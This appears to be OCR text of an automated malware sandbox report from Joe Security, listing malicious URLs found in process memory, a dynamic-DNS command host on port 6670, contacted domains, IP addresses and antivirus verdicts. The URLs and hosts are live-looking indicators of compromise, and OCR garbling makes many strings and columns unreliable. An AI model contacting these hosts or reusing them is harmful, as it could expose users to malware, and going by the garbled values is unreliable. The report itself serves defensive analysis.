http://dilshadkhan.duia.ro:6670/Vre_3
hitp://dilshadkhan.duia.ro:6ecuritycenter2=
http://dilshadkhan.duia.ro:6670/Vreo=
http:/fhttps://www.namebrightstatic.com/images/logo_off.gif)
http://dilshadkhan.duia.r0:6670/Vre02-00600806 D9B6
http://dilshadkhan.duia.r0:6670/\VreMP
http:/fwww.shcylzc.com/np8s/

http:/fwww.harmlett.com/np8s/?
3fk4oN=Hfm8tjP++bFI9H8YixudyiAA2pucxCUNYZIpJGNk6F/7VNXQ3kF60qlcnnPYkdM2cMsNINi87w
==&Eh=mhUxI

http://dilshadkhan.duia.r0:6670/Vreem
http://dilshadkhan.duia.ro:6670/VreSE
http://dilshadkhan.duia.ro:6670/VreZXBsYWNI
hitp://schemas.mi
http://dilshadkhan.duia.r0:6670/VreKTsNCIZO
http://dilshadkhan.duia.ro:6670/Vreageen-usWScript.Quit
http://dilshadkhan.duia.ro:6670/Vreineer
http://dilshadkhan.duia.ro:6670/Vret
http://dilshadkhan.duia.ro:6670/Vren

http://www.topings33.com/np8s/?
3fk4oN=+1vSQSU4VFPBNKL8BEMH3DU8MRg7YeugqbcMOyIP3MOivye7s4zRc3erRZEMEN43A2RNb83b
cySA==&Eh=mhUx|

http://dilshadkhan.duia.r0:6670/Vreo
http://dilshadkhan.duia.ro:6670/Vreagent
http://dilshadkhan.duia.ro:6670/Vrej
www.gafcbooster.com/np8s/

http://www.waermark.com/np8s/?
3fk4oN=upNApQGgxnIpkDsed4j6UePR+EOmMKhNhiuHKrn3aPCq0+c3DSqp4vkB5DGytvW Tvww8fhFgz!
==&aDHdzD=vpgdJ4mxrh

http:{fwww.tentanguang.online/np8s/
http://dilshadkhan.duia.ro:6670/Vred
http://dilshadkhan.duia.ro:6670/Vre_
http://dilshadkhan.duia.ro:6670/VreZ
http://dilshadkhan.duia.ro:6670/Vreadkhan.d
http://dilshadkhan.duia.ro:6670/Vree5
http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-100
http://dilshadkhan.duia.ro:6670/VreZigplHsNrr
http://dilshadkhan.duia.ro:6670/VreX
http://dilshadkhan.duia.ro:6670/VreMjdcXHZi
http://dilshadkhan.duia.ro:6670/VreR
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Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
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Source

http://www.getbusinesscreditandfunding.com/np8s/?
3fk4oN=0pptggpOMeRyeb/9nmudohOLKg4u2ksDwR1w+rnfL4/weOtceqenlGY7vNOGaAQzxdf5zVwFvA=

=&aDHdzD=vpgdJ4mxrh
http://dilshadkhan.duia.ro:6670/VreM%
http://dilshadkhan.duia.ro:6670/VreU
http://dilshadkhan.duia.ro:6670/VreP
http://dilshadkhan.duia.ro:6670/VreL
http://dilshadkhan.duia.ro:6670/VreM

http:/f

Detection Scanner

100% Avira URL Cloud

100% Avira URL Cloud
100% Avira URL Cloud
100% Avira URL Cloud
100% Avira URL Cloud
100% Avira URL Cloud

0% URL Reputation

https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=300554066292

9;gt
http://dilshadkhan.duia.ro:6670/VreH

http://dilshadkhan.duia.ro:6670/VrePSAIQ2wi

http://https://www.namebrightstatic.com/images/error_board.png)

hitp:/fwww.siberup.xyz/np8s/?

100% Avira URL Cloud
100% Avira URL Cloud
0% Avira URL Cloud

0% Avira URL Cloud

3fkdoN=cDXfWuCokJFrdCwhVntnDB+RdogU7uBP5U/Sv42Lexzi+FyRpCsvSOHB1BJIBbWkp2bvyUO/jb

w==&Eh=mhUxI
http://dilshadkhan.duia.ro:6670/VreZ3
http://dilshadkhan.duia.ro:6670/VreA%

http://dilshadkhan.duia.ro:6670/VreN_5

http:/fhttps://www.namebrightstatic.com/images/bg.png)

http://dilshadkhan.duia.ro:6670/Vreadkhan.duu

Domains and IPs

Contacted Domains

Name
parkingpage.namecheap.com
dilshadkhan.duia.ro
www.refreshertowels.com
www.topings33.com
www.harmlett.com
natroredirect.natrocdn.com

www.localbloom.online

cdl-Ib-1356093980.us-east-1.elb.amazonaws.com

www.multiverseofbooks.com
www.waermark.com
xn--wsthof-camping-gsb.com
www.tentanguang.online
www.brandpay.xyz
www.getbusinesscreditandfunding.com
www.shcylzc.com

halecamilla.site
www.vitality-patients.online
www.gabefancher.com
www.jdhwh2nbiw234.com
www.siberup.xyz
www.halecamilla.site
www.angelmatic.net
www.gafchooster.com
www.thepowerofanopenguestion.com

www.xn--wsthof-camping-gsb.com

Contacted URLs

Name

http://www.brandpay.xyz/np8s/

Copyright Joe Security LLC 2022

IP
198.54.117.217
91.193.75.133
23.231.99.207
162.0.230.89
23.19.171.24
85.159.66.93
185.134.245.113
3.208.142.147
66.96.130.20
185.53.179.172
81.169.145.161
185.27.134.149
3.64.163.50
68.66.224.33
23.82.37.10
207.174.214.35
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Active
true

true

true

true

true

true

true

true

true

true

true

true

true

true

true

true
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

100% Avira URL Cloud
100% Avira URL Cloud
100% Avira URL Cloud
0% Avira URL Cloud

100% Avira URL Cloud

Malicious Antivirus Detection
false
true e 3%, Virustotal, Browse
false
true
true
true
true
false
false
true
true
true
true
true
true
true
true
true
true
true
true
true
true
true

true

Malicious Antivirus Detection

true e Avira URL Cloud: phishing

Label

malware

malware
malware
malware
malware
malware

safe

malware
malware
safe

safe

malware
malware
malware
safe

malware

Link

Reputation
high
unknown
unknown
unknown
unknown
unknown
unknown
high
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Reputation

unknown
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https://www.virustotal.com/gui/url/45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd/detection/u-45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd-1653611247

Name Malicious Antivirus Detection Reputation

http://www.brandpay.xyz/np8s/? true e Avira URL Cloud: phishing unknown
3fkdoN=hgAcLcCQcJ9fw2P/TukOsK1oy/luL6ulzsG1wPPsT2rq6CikgixxXMntvKpZqETXTWLI6sSHOZ

A==&Eh=mhUxI

http://www.vitality-patients.online/np8s/ true e Avira URL Cloud: safe unknown
http://www.tentanguang.online/np8s/? true e Avira URL Cloud: phishing unknown

3fk4oN=v4u/ceKk0Zb55n135mmkOO9h9INxJ7kGAYyBx+qrEyA785N/4y0zrdRsBV3cMwWbOW5k3YB
KZGgA==&Eh=mhUxI

http://www.waermark.com/np8s/ true e Avira URL Cloud: malware unknown
http://www.xn--wsthof-camping-gsb.com/np8s/? true e Avira URL Cloud: malware unknown
3fk4oN=1NsiocOlpQImfCEv7q3CJRvbkNIovwFEONaUY8zyneWF7ypKO8Ggemnlz/Jz3gNJORZyolU
Fog==&Eh=mhUxI
http://www.harmlett.com/np8s/? true e Avira URL Cloud: safe unknown
aDHdzD=vpgdJ4mxrh&3fk4oN=Hfm8tjP++bF99H8YixudyiAA2pucxCUNYZIpJGNk6F/7VNXQ3kF60
glcnnPYkdM2cMsNINi87w==
http://www.harmlett.com/np8s/ true e Avira URL Cloud: safe unknown
http://www.shcylzc.com/np8s/? true e Avira URL Cloud: safe unknown
3fk4oN=25l4eedf3LYXj+mrZ2jl60lVDZbg0jTgzRvorLdGhmBPpJDDPx12pMPLDd38wf67F/cvJLWRD
A==&Eh=mhUxI
http://www.getbusinesscreditandfunding.com/np8s/ true e Avira URL Cloud: malware unknown
http://www.siberup.xyz/np8s/ true e Avira URL Cloud: safe unknown
http://www.getbusinesscreditandfunding.com/np8s/? true e Avira URL Cloud: malware unknown
3fk4oN=0pptggpOMeRyeb/9nmudohOLKg4u2ksDwR1w+rnfL4/weltceqenlGY7vNOGaAQzxdf5zVwF
VA==&Eh=mhUXxI
http://www.xn--wsthof-camping-gsb.com/np8s/ true e Avira URL Cloud: malware unknown
http://www.vitality-patients.online/np8s/? true e Avira URL Cloud: safe unknown
3fk4oN=RNX6HKFDckILmbBcIPWX652dIgRYJcuZVnkY PjFZaGFpi0fgSjcQ52/zYZHNiyjWwO0COcN
THSw==&Eh=mhUxI
http://www.shcylzc.com/np8s/ true e Avira URL Cloud: safe unknown
http://www.harmlett.com/np8s/? true e Avira URL Cloud: safe unknown
3fk4oN=Hfm8tjP++bF99H8YixudyiAA2pucxCUNYZIpJGNk6F/7VNXQ3kF60oglcnnPYkdM2cMsNINi8
Tw==&Eh=mhuUx|
http://www.topings33.com/np8s/? true e Avira URL Cloud: malware unknown
3fk4oN=+1vSQSU4VFPBNKLBEMH3DUBMRg7YeugbcMOylP3MOivye7s4zRc3erRZEMEN43A2RNb
83bcySA==&Eh=mhUxI
www.gafcbooster.com/np8s/ true e Avira URL Cloud: malware low
http://www.waermark.com/np8s/? true e Avira URL Cloud: malware unknown
3fk4oN=upNApQGgxnlpkDsed4j6UePR+EOmMKhNhiuHKrn3aPCq0+c3DSqp4vkB5DGytvW Tvwwa8th
FgzIA==&aDHdzD=vpgdJ4mxrh
http://www.tentanguang.online/np8s/ true e Avira URL Cloud: phishing unknown
http://www.getbusinesscreditandfunding.com/np8s/? true e Avira URL Cloud: malware unknown
3fk4oN=0pptggpOMeRyeb/9nmudohOLKg4u2ksDwR1w+rnfL4/weltceqenlGY7vNOGaAQzxdf5zVwF
VA==&aDHdzD=vpgdJ4mxrh
http://www.siberup.xyz/np8s/? true e Avira URL Cloud: safe unknown
3fkdoN=cDXfWuCokJFrdCwhVntnDB+RdogU7uBP5U/Sv42L exzi+FyRpCsvSOHB1BJBbWkp2bvyU
0/jbw==&Eh=mhUx|
URLs from Memory and Binaries
Name Source Malicious  Antivirus Detection Reputation
hitp://dilshadkhan.duia.ro:6670/Vreod wscript.exe, 00000004.00000003.695080046 true e Avira URL Cloud: malware unknown
.0000014D095FD000.00000004.00000020.0002
0000.00000000.sdmp
http:/fwww.gabefancher.com help.exe, 00000009.00000002.934078297.00 false e Avira URL Cloud: safe unknown
00000003DCB000.00000004.10000000.0004000
0.00000000.sdmp
http://dilshadkhan.duia.ro:6670/VrePSAIUKYirr wscript.exe, 00000004.00000002.927952300 true e Avira URL Cloud: malware unknown
.0000014D0B430000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000002.922532609.0000026A517B0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000008.00000002.931463761
.0000020FBE1F0000.00000004.00000020.0002
0000.00000000.sdmp
hitp://dilshadkhan.duia.ro:6670/VrebWcgPSAi wscript.exe, 00000001.00000002.907949646 true e Avira URL Cloud: malware unknown
.0000022181F70000.00000004.00000020.0002
0000.00000000.sdmp
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Name Source Malicious  Antivirus Detection Reputation

hitp://dilshadkhan.duia.ro:6670/Vreecuritycenter7 wscript.exe, 00000004.00000003.856306229 true e Avira URL Cloud: malware unknown

.0000014D09618000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

4.00000002.923829675.0000014D09619000.00

000004.00000020.00020000.00000000.sdmp,

wscript.exe, 00000004.00000003.856018429

.0000014D0960A000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

4.00000003.855935009.0000014D09600000.00

000004.00000020.00020000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vreecuritycenterre wscript.exe, 00000007.00000002.922326377 true e Avira URL Cloud: malware unknown
.0000026A4F8C8000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.882416332.0000026A4F8DB000.00
000004.00000020.00020000.00000000.sdmp

hitp:// help.exe, 00000009.00000002.930456498.00 false e Avira URL Cloud: safe unknown
https://www.namebrightstatic.com/images/header_bg.p 00000003752000.00000004.10000000.0004000

ng) 0.00000000.sdmp

http://https://www.google.com/chrome/ explorer.exe, 00000003.00000000.48232647 false high

3.0000000008277000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.428747100.0000000008277000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000003.00000000.451429720.000000
0008277000.00000004.00000001.00020000.00
000000.sdmp

http://dilshadkhan.duia.ro:6670/UZXh0 wscript.exe, 00000001.00000003.393713330 true e Avira URL Cloud: malware unknown
.0000022181D33000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000002.922422358.0000026A515A0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000008.00000003.464499048
.0000020FBE023000.00000004.00000020.0002
0000.00000000.sdmp

http://www.msn.com/?ocid=iehp explorer.exe, 00000003.00000000.48232647 false high
3.0000000008277000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.428747100.0000000008277000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000003.00000000.451429720.000000
0008277000.00000004.00000001.00020000.00

000000.sdmp

hitp://dilshadkhan.duia.ro:6670/Vrewz wscript.exe, 00000004.00000002.928127733 true e Avira URL Cloud: malware unknown
.0000014D0OBBA3000.00000004.00000020.0002
0000.00000000.sdmp

http://https://www.google.com/chrome/thank-you.html?  explorer.exe, 00000003.00000000.44681222 false high

statcb=0&installdataindex=empty&defaultbrowser=0&  1.00000000060FE000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.476632514.00000000060FE000.
00000004.00000001.00020000.00000000.sdmp

http:// explorer.exe, 00000003.00000000.45138145 false high
https://adservice.google.com/ddm/fls/i/src=2542116;typ 2.0000000008246000.00000004.00000001.000
e=chrom322;cat=chrom01g;0rd=3005540662929;gtm=20000.00000000.sdmp, explorer.exe, 00000

003.00000000.450826772.00000000080FCO000.

00000004.00000001.00020000.00000000.sdmp,

explorer.exe, 00000003.00000000.430092950.000000

000DDF0000.00000004.00000001.00020000.00

000000.sdmp

http://dilshadkhan.duia.ro:6670/VrezjB wscript.exe, 00000004.00000003.549967536 true e Avira URL Cloud: malware unknown
.0000014D0BB98000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000003.549886529.0000014D0BB83000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000004.00000003.550053637
.0000014D0BBA4000.00000004.00000020.0002

0000.00000000.sdmp
http./ https://www.google.com/chrome/thank-you.html?  explorer.exe, 00000003.00000000.44681222 false high
statch=0&installdataindex=empty&defaultbrowser=0B  1.00000000060FE000.00000004.00000001.000
W 20000.00000000.sdmp, explorer.exe, 00000

003.00000000.476632514.00000000060FEO0O.
00000004.00000001.00020000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vre= wscript.exe, 00000004.00000003.694438767 true e Avira URL Cloud: malware unknown
.0000014D0BC10000.00000004.00000020.0002
0000.00000000.sdmp

hitp://dilshadkhan.duia.ro:6670/Vre8 wscript.exe, 00000007.00000003.882649285 true e Avira URL Cloud: malware unknown

.0000026A5198D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000002.926117959.0000026A51983000.00
000004.00000020.00020000.00000000.sdmp

http:ifdilshadkhan.duia.ro:6670/VreM7d wscript.exe, 00000001.00000002.907994191 true e Avira URL Cloud: malware unknown
.0000022182230000.00000004.00000020.0002
0000.00000000.sdmp
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Name

http://dilshadkhan.duia.ro:6670/Vre3

http://dilshadkhan.duia.ro:6670/Vreo&

http://https://contextual. media.net/medianet.php?
Cid=8CU157172&crid=858412214&size=306x271&http
s=1

http://https://www.google.com/chrome/thank-you.html?
statcb=0&installdataindex=empty&defaultbrowser=0LM
EM

http://www.gabefancher.com/np8s/

http:ff
https://2542116.fls.doubleclick.net/activityi;src=254211
6;type=2542116;cat=chom0;0rd=9774759596232;g

http://https://contextual. media.net/medianet.php?
Cid=8CU157172&crid=858412214&size=306x271&http
s=16¢

http://statcounter.com/

http://
https://2542116.fls.doubleclick.net/activityi;src=254211
6;type=clien612;cat=chromx;ord=1;num=7859736

http://https://contextual. media.net/medianet.php?
€id=8CU157172&crid=858412214&size=306x271&http
s=1rdw

http://dilshadkhan.duia.ro:6670/Vre_3

http://dilshadkhan.duia.ro:6ecuritycenter2=

http://https://www.google.com/chrome/j

http://dilshadkhan.duia.ro:6670/Vreo=

http://https://contextual. media.net/medianet.php?
€id=8CU157172&crid=722878611&size=306x271&http
s=1#

hitp://
https://www.namebrightstatic.com/images/logo_off.gif)

http://dilshadkhan.duia.ro:6670/Vre02-00600806D9B6
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Source

wscript.exe, 00000001.00000002.907994191
.0000022182230000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000007.00000003.716472750
.0000026A519DA000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000003.00000000.43009295
0.000000000DDF0000.00000004.00000001.000
20000.00000000.sdmp

explorer.exe, 00000003.00000000.47675086
3.0000000006153000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.446911771.0000000006153000.
00000004.00000001.00020000.00000000.sdmp

help.exe, 00000009.00000002.934078297.00
00000003DCB000.00000004.10000000.0004000
0.00000000.sdmp

explorer.exe, 00000003.00000000.43009295
0.000000000DDF0000.00000004.00000001.000
20000.00000000.sdmp

explorer.exe, 00000003.00000000.43009295
0.000000000DDF0000.00000004.00000001.000
20000.00000000.sdmp

help.exe, 00000009.00000002.930456498.00
00000003752000.00000004.10000000.0004000
0.00000000.sdmp

explorer.exe, 00000003.00000000.45142972
0.0000000008277000.00000004.00000001.000
20000.00000000.sdmp

explorer.exe, 00000003.00000000.46243886
2.000000000DDF0000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.484235520.000000000DDF0000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000003.00000000.430092950.000000
000DDF0000.00000004.00000001.00020000.00
000000.sdmp

wscript.exe, 00000004.00000002.923787188
.0000014D095D8000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.908343152
.00000221FFEBC000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000003.00000000.48232647
3.0000000008277000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.428747100.0000000008277000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000003.00000000.451429720.000000
0008277000.00000004.00000001.00020000.00
000000.sdmp

wscript.exe, 00000008.00000002.931546751
.0000020FBE910000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000003.00000000.46243886
2.000000000DDF0000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.484235520.000000000DDF0000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000003.00000000.430092950.000000
000DDF0000.00000004.00000001.00020000.00
000000.sdmp

help.exe, 00000009.00000002.930456498.00
00000003752000.00000004.10000000.0004000
0.00000000.sdmp

wscript.exe, 00000004.00000003.550023960
.0000014D0BBC4000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000003.549886529.0000014D0BB83000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000004.00000003.549931938
.0000014D0OBBA8000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000003.549990905.0000014DOBBAE000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000002.922245299
.0000026A4F84B000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

true

true

false

false

true

false

false

false

false

false

true

false

false

true

false

false

true

Antivirus Detection

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: safe

e Avira URL Cloud: malware

e Avira URL Cloud: safe

e Avira URL Cloud: malware

Reputation

unknown

unknown

high

high

unknown

high

high

high

high

high

unknown

low

high

unknown

high

unknown

unknown
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Name

hitp://dilshadkhan.duia.ro:6670/VreMP

hitp://dilshadkhan.duia.ro:6670/Vreem

hitp://dilshadkhan.duia.ro:6670/VreSE

hitp://dilshadkhan.duia.ro:6670/VreZXBsYWNI

hitp:/fschemas.mi

hitp://dilshadkhan.duia.ro:6670/VreKTsNCIZO

http://dilshadkhan.duia.ro:6670/Vreageen-

usWScript.Quit

hitp://dilshadkhan.duia.ro:6670/Vreineer

hitp://dilshadkhan.duia.ro:6670/Vret

hitp://dilshadkhan.duia.ro:6670/Vren

http:/f

https://www.google.com/chrome/static/images/favicons

/favicon-16x16.png

hitp://dilshadkhan.duia.ro:6670/Vreo

http://dilshadkhan.duia.ro:6670/Vreagent

http://dilshadkhan.duia.ro:6670/Vrej

hitp://dilshadkhan.duia.ro:6670/Vred

http://dilshadkhan.duia.ro:6670/Vre_
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Source

wscript.exe, 00000004.00000002.928057135
.0000014D0BB43000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000003.694593679
.0000014D0OBB9E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000003.694902481.0000014D0BBA2000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000004.00000002.927952300
.0000014D0B430000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000002.922532609.0000026A517B0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000002.907949646
.0000022181F70000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000003.00000000.45156128
7.0000000008308000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.428859791.0000000008308000.
00000004.00000001.00020000.00000000.sdmp,

explorer.exe, 00000003.00000000.482629137.000000

0008308000.00000004.00000001.00020000.00
000000.sdmp

wscript.exe, 00000001.00000002.907949646
.0000022181F70000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000002.927952300
.0000014D0B430000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.908396849
.00000221FFEFE000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000002.915088147.0000020FBC148000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000003.500806397
.00000221822B0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000002.928037378
.0000014D0BB20000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000003.00000000.48232647
3.0000000008277000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.428747100.0000000008277000.
00000004.00000001.00020000.00000000.sdmp,

explorer.exe, 00000003.00000000.451429720.000000

0008277000.00000004.00000001.00020000.00
000000.sdmp

wscript.exe, 00000001.00000002.908396849
.00000221FFEFE000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000002.907994191.0000022182230000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000004.00000002.928057135
.0000014D0BB43000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000002.928037378.0000014D0OBB20000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000002.926172327
.0000026A519DA000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000003.736038236.0000020FBC216000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000002.907949646
.0000022181F70000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000007.00000002.926172327
.0000026A519DA000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000007.00000003.712817574
.0000026A51A68000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.715157117.0000026A51A76000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000007.00000002.926213528
.0000026A519F1000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

true

true

true

true

false

true

true

true

true

true

false

true

true

true

true

true

Antivirus Detection

.

3

.

3

3

.

3

3

3

3

.

.

.

3

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

URL Reputation: safe

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

unknown
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Name Source Malicious  Antivirus Detection Reputation

http:// explorer.exe, 00000003.00000000.45082677 false high
https://2542116.fls.doubleclick.net/activityi;src=254211  2.00000000080FC000.00000004.00000001.000
6;type=chrom322;cat=chrom01g;ord=30055406629 20000.00000000.sdmp, explorer.exe, 00000

003.00000000.430092950.000000000DDF0000.

00000004.00000001.00020000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/VreZ wscript.exe, 00000004.00000003.549967536 true e Avira URL Cloud: malware unknown
.0000014D0BB98000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000003.549886529.0000014D0BB83000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000004.00000003.550053637
.0000014D0OBBA4000.00000004.00000020.0002
0000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vreadkhan.d wscript.exe, 00000001.00000002.907949646 true e Avira URL Cloud: malware unknown

.0000022181F70000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

4.00000002.927952300.0000014D0B430000.00

000004.00000020.00020000.00000000.sdmp,

wscript.exe, 00000007.00000002.922532609

.0000026A517B0000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

8.00000002.931463761.0000020FBE1F0000.00

000004.00000020.00020000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vree5 wscript.exe, 00000008.00000003.900095109 true e Avira URL Cloud: malware unknown
.0000020FBC1FE000.00000004.00000020.0002
0000.00000000.sdmp
http://dilshadkhan.duia.ro:6670/Vre63209- wscript.exe, 00000001.00000003.842626343 true e Avira URL Cloud: malware unknown
4053062332-100 .00000221FFF32000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.842357341.00000221FFF28000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000002.908099402
.0000022182291000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.676181924.00000221822E1000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.842125955
.00000221FFF25000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.676740678.00000221822E7000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.842440837
.00000221FFF2F000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.676124396.00000221822C7000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000004.00000003.694593679
.0000014D0OBB9YE000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000003.694902481.0000014DOBBA2000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000004.00000003.694746838
.0000014DOBBE0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000002.923829675.0000014D09619000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000004.00000003.856325867
.0000014D0OBBA8000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000003.694522352.0000014DOBBDB000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000004.00000003.856253293
.0000014D0BBA2000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000003.694954010.0000014D0BBA8000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000003.716231469
.0000026A51A00000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.716617142.0000026A51A22000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000003.716721287
.0000026A51A30000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.879090249.0000026A51A3C000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000003.716693053
.0000026A51A25000.00000004.00000020.0002

0000.00000000.sdmp
hitp://dilshadkhan.duia.ro:6670/VreZigpIHsNrr wscript.exe, 00000001.00000002.907949646 true e Avira URL Cloud: malware unknown
.0000022181F70000.00000004.00000020.0002
0000.00000000.sdmp
hitp:/f https://contextual.media.net/checksync.php? explorer.exe, 00000003.00000000.43009295 false high
&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57  0.000000000DDF0000.00000004.00000001.000
XIG&prvid=77%2 20000.00000000.sdmp
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Name Source Malicious Antivirus Detection Reputation

http://dilshadkhan.duia.ro:6670/VreX wscript.exe, 00000008.00000002.931546751 true e Avira URL Cloud: malware unknown

.0000020FBE910000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

8.00000003.900141906.0000020FBE9CB000.00

000004.00000020.00020000.00000000.sdmp,

wscript.exe, 00000008.00000003.899755081

.0000020FBE9CA000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

8.00000003.899013643.0000020FBE9CA000.00

000004.00000020.00020000.00000000.sdmp

hitp://dilshadkhan.duia.ro:6670/VreMjdcXHZi wscript.exe, 00000004.00000002.927952300 true e Avira URL Cloud: malware unknown
.0000014D0B430000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000002.922532609.0000026A517B0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000008.00000002.931463761
.0000020FBE1F0000.00000004.00000020.0002
0000.00000000.sdmp

